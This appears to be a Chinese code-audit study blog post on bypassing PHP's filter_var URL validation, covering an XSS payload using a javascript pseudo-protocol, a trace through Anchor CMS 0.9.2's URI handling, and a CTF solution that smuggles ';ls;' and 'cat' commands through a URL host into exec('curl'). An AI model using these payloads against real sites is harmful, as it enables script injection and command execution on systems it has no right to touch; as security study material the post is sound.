依葫芦画瓢之filter_var函数缺陷

前言

跟着张师傅学习代码审计,依葫芦画瓢,偷瞄大佬博客,跟着学习

这次是函数filter_var缺陷

上代码

参考链接:
RIPS[2] | filter_var函数缺陷
代码审计Day2 - filter_var函数缺陷


本题考察XSS漏洞。
然后这道题中,我们可以看到代码中使用到PHP的一个模块Twig.
调用了escape方法,,首先escape过滤器,是用PHP内置函数 htmlspecialchars 来实现的.

htmlspecialchars 函数定义如下:

htmlspecialchars :(PHP 4, PHP 5, PHP 7)

功能 :将特殊字符转换为 HTML 实体

定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get(“default_charset”) [, bool $double_encode = TRUE ]]] )

1
2
3
4
5
6
> & (& 符号)  ===============  &
> " (双引号) =============== "
> ' (单引号) =============== '
> < (小于号) =============== &lt;
> > (大于号) =============== &gt;
>

接着代码中又使用了filter_var()对其进行二次过滤
用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url。

对于以上代码,可以理解为:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$url = $_GET['url'];
$url = htmlspecialchars($url);
var_dump($url);
echo "<br>";
$url = filter_var($url,FILTER_VALIDATE_URL);
var_dump($url);
echo "<br>";
echo "<a href='$url'>Next slide >></a>";

?>

这里的两个过滤器,我们可以通过javascript伪协议就绕过
构造payload:

1
?url = javascrpit://comment://%250aalert(1);


注意:’//‘在JS中是注释的作用,所以我们引入’%0a’,进行换行操作,而这里我们需要先将’%’编码为’%25’,
因为当我们发送payload时,后台代码会先将’%25’解析为’%’,再到浏览器解析时,就为’%’

CMS小试

审计代码anchor.0.9.2

代码文件:themes/default/404.php

1
2
3
4
5
6
7
8
9
<?php theme_include('header'); ?>

<section class="content wrap">
<h1>Page not found</h1>

<p>Unfortunately, the page <code>/<?php echo current_url(); ?></code> could not be found. Your best bet is either to try the <a href="<?php echo base_url(); ?>">homepage</a>, try <a href="#search">searching</a>, or go and cry in a corner (although I don’t recommend the latter).</p>
</section>

<?php theme_include('footer'); ?>

当我们访问一个不存在的页面时,就会调用404.php,
其中关键代码如下:

1
<?php echo current_url(); ?>

跟踪到
代码文件:anchor/functions/helpers.php

1
2
3
function current_url() {
return Uri::current();
}

返回 Uri::current()

跟踪到
代码文件:system/uri.php

1
2
3
4
5
public static function current() {
if(is_null(static::$current)) static::$current = static::detect();

return static::$current;
}

调用静态方法 delect()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static function detect() {
// create a server object from global
$server = new Server($_SERVER);

$try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

foreach($try as $method) {

// make sure the server var exists and is not empty
if($server->has($method) and $uri = $server->get($method)) {

// apply a string filter and make sure we still have somthing left
if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

// make sure the uri is not malformed and return the pathname
if($uri = parse_url($uri, PHP_URL_PATH)) {
return static::format($uri, $server);
}

// woah jackie, we found a bad'n
throw new ErrorException('Malformed URI');
}
}
}

遍历 $try 中的键名,获取该键的键值

1
if($server->has($method) and $uri = $server->get($method))

进行三次过滤:

1
2
3
4
5
6
7
$uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

// remove script path/name
$uri = static::remove_script_name($uri, $server);

// remove the relative uri
$uri = static::remove_relative_uri($uri);

其过滤方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public static function remove($value, $uri) {
// make sure our search value is a non-empty string
if(is_string($value) and strlen($value)) {
// if the search value is at the start sub it out
if(strpos($uri, $value) === 0) {
$uri = substr($uri, strlen($value));
}
}

return $uri;
}

/**
* Remove the SCRIPT_NAME from the uri path
*
* @param string
* @return string
*/
public static function remove_script_name($uri, $server) {
return static::remove($server->get('SCRIPT_NAME'), $uri);
}

/**
* Remove the relative path from the uri set in the application config
*
* @param string
* @return string
*/
public static function remove_relative_uri($uri) {
// remove base url
if($base = Config::app('url')) {
$uri = static::remove(rtrim($base, '/'), $uri);
}

// remove index
if($index = Config::app('index')) {
$uri = static::remove('/' . $index, $uri);
}

return $uri;
}

其中并没有对xss漏洞的攻击进行过滤
直接构造payload如下:

CTF小试

环境搭建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
\\index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>



\\flag3Ejasf.php
<?php

$flag = "you are right";

?>

这道题中,index.php中有两个过滤器,一个是filter_var(),一个是parse_url,获取host正则检验,
这里考察命令执行漏洞,关键代码为:

1
exec('curl "'.$site_info['host'].'"', $result);

这是外部代码执行函数,看着这样子,我们是要构造的payload是要能闭合无用的字段‘“’;还要能执行代码,这里使用”;“加入我们想要执行的代码,最后payload还要以”sec-redclub.com“结尾。
先绕过filter_var()函数,构造payload:

1
url=demo://demo@sec-redclub.com

然后综上所述,构造payload:

1
?url=demo://demo@";ls;"sec-redclub.com

获取当前文件目录flag3Ejasf.php index.php

然后获取flag,构造payload:

1
?url=demo://demo@";cat<flag3Ejasf.php;"sec-redclub.com

由此解出该题

0%